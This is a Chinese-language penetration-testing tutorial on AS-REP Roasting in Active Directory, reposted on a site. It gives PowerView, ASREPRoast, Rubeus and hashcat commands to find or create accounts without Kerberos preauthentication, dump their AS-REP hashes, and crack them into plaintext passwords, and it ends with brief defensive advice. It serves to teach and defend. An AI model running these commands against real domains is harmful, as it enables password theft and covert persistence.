域滲透——AS-REP Roasting

0x00 前言

AS-REP Roasting同Kerberoasting類似,如果滿足條件,就能夠獲得用戶口令的hash,再結合hashcat進行破解,最後能夠還原出用戶的明文口令。

本文將要參考公開資料,結合自己的理解,介紹AS-REP Roasting的利用方法,最後給出防禦建議。

0x01 簡介

本文將要介紹以下內容:

· AS-REP Roasting的原理

· AS-REP Roasting的利用條件

· AS-REP Roasting的利用方法

· 破解hash的方法

· 防禦建議

0x02 AS-REP Roasting

1.簡介

對於域用戶,如果設置了選項"Do not require Kerberos preauthentication",此時向域控制器的88端口發送AS-REQ請求,對收到的AS-REP內容重新組合,能夠拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下來可以使用hashcat對其破解,最終獲得該用戶的明文口令。

2.利用前提

域用戶設置了選項"Do not require Kerberos preauthentication"

通常情況下,該選項默認不會開啟。

3.利用思路

通常在域滲透中用來維持權限。

需要先獲得對指定用戶的GenericWrite權限,利用思路如下:

1、開啟用戶選項"Do not require Kerberos preauthentication"

2、導出hash並破解

3、關閉用戶選項"Do not require Kerberos preauthentication"

0x03 AS-REP Roasting的利用方法

1.尋找滿足條件的用戶

用戶需要開啟選項"Do not require Kerberos preauthentication"

這裡可以使用LDAP查詢滿足條件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用戶。

https://support.microsoft.com/en-us/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties

https://github.com/PowerShellMafia/PowerSploit/blob/445f7b2510c4553dcd9451bc4daccb20c8e67cbb/Recon/PowerView.ps1#L4769

DONT_REQ_PREAUTH項對應的值為4194304。

PowerView的命令如下:

<code>Import-Module .\\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose/<code>

示例如下圖:

域滲透——AS-REP Roasting

只顯示distinguishedname項:

<code>Import-Module .\\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose/<code>

示例如下圖:

域滲透——AS-REP Roasting

2.開啟和關閉選項"Do not require Kerberos preauthentication"

開啟選項意味著對用戶添加屬性(userAccountControl=4194304)。

開啟選項的命令如下:

<code>Import-Module .\\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose/<code>

關閉選項意味著刪除用戶屬性(userAccountControl=4194304)。

注:這裡可以再次進行異或運算,兩次異或相當於不改變原數值,即刪除用戶屬性(userAccountControl)。

關閉選項的命令如下:

<code>Import-Module .\\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose/<code>

3.導出hash

(1)使用Powershell

https://github.com/HarmJ0y/ASREPRoast

導出所有可用用戶hash的命令如下:

<code>Import-Module .\\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl/<code>

示例如下圖:

域滲透——AS-REP Roasting


導出指定用戶hash的命令如下:

<code>Get-ASREPHash -UserName testb -Verbose/<code>

示例如下圖:

域滲透——AS-REP Roasting

提取出hash:

<code>[email protected]:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3/<code>

(2)使用C#(Rubeus)

https://github.com/GhostPack/Rubeus

命令如下:

<code>Rubeus.exe asreproast/<code>

示例如下圖:

域滲透——AS-REP Roasting

4.使用hashcat進行破解

提取出hash:

<code>[email protected]:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3/<code>

拼接成hashcat能夠識別的格式需要在$krb5asrep後面添加$23。

hashcat使用字典破解的參數如下:

<code>hashcat -m 18200 '[email protected]:a128092441a3af80015554db2f3fe44e$d69b44c7d9cf36261a012d012f636a2124837af89a48ef686e1ac7572af93741fc801423443a85c9aacd6a5f85f1d840d07b09e68795ce691a818fa765674c3f25492ed49e7274d98096d599c9ff0de6e169efdb3429cde39dbdea4633580981bcb34ecf330d0cb2cb194e2944f77b8fc15c056684fee33d3ee7e0b86bc56072c3bfcd2d3abeb06bfb42144a06cf90c5c60e9c255d93d9c62bbf1cc37e75d8f6d22120bf8de673db20f108da96a9e3d9d099346fff8619f49961feeaf96c35eb1a237b42b6716012dfc08d96146eb1df65e9a66a67685c04f8ab7e21bfa36800babc1ad3' /usr/share/john/password.lst -o found.txt --force/<code>

參數說明:

/usr/share/john/password.lst為字典文件的位置 -o found.txt表示輸出結果的位置。

0x04 防禦建議

1.確保域內不存在開啟"Do not require Kerberos preauthentication"的用戶。

掃描方法(使用PowerView):

<code>Import-Module .\\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose/<code>

2.域用戶強制使用複雜口令,提高被字典和暴力破解的難度。


分享到:


相關文章: